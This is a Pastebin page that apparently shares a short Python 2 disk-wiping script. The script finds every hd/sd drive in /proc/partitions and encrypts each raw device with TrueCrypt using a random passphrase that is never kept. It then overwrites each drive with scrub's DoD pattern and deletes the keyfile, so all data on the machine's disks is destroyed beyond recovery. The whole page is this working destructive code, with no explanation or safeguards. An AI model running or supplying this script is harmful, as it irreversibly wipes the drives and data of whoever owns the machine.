Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import commands,string,random,os
- digits = "".join([random.choice(string.digits) for i in xrange(8)])
- chars = "".join([random.choice(string.letters) for i in xrange(26)])
- keyfile = "".join([random.choice(string.letters) for i in xrange(320)])
- k1 = open("/tmp/keyfile","w")
- k1.write(keyfile)
- k1.close()
- passphrase = digits+chars
- output = commands.getoutput("awk '/[hs]d[a-z]$/ { print $4 }' /proc/partitions > output.txt")
- f = open("output.txt","r")
- rawdata = f.read()
- lines = rawdata.split("\n")
- f.close()
- count=0
- for z in lines[:-1]:
- count+=1
- count1=0
- for z in lines[:-1]:
- count1+=1
- hdDrives = "/dev/"+z
- print "[*] Encrypting Drive %d/%d: %s"% (count1, count, hdDrives)
- os.system("truecrypt -c %s --encryption=AES-Twofish --hash=SHA-512 --filesystem=none -p %s --random-source=/tmp/keyfile -k /tmp/keyfile --volume-type=normal" % (hdDrives,passphrase))
- print "[*] Wiping Drive %d/%d: %s"% (count1, count, hdDrives)
- os.system("scrub -p dod %s"% hdDrives)
- os.system("rm /tmp/keyfile")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement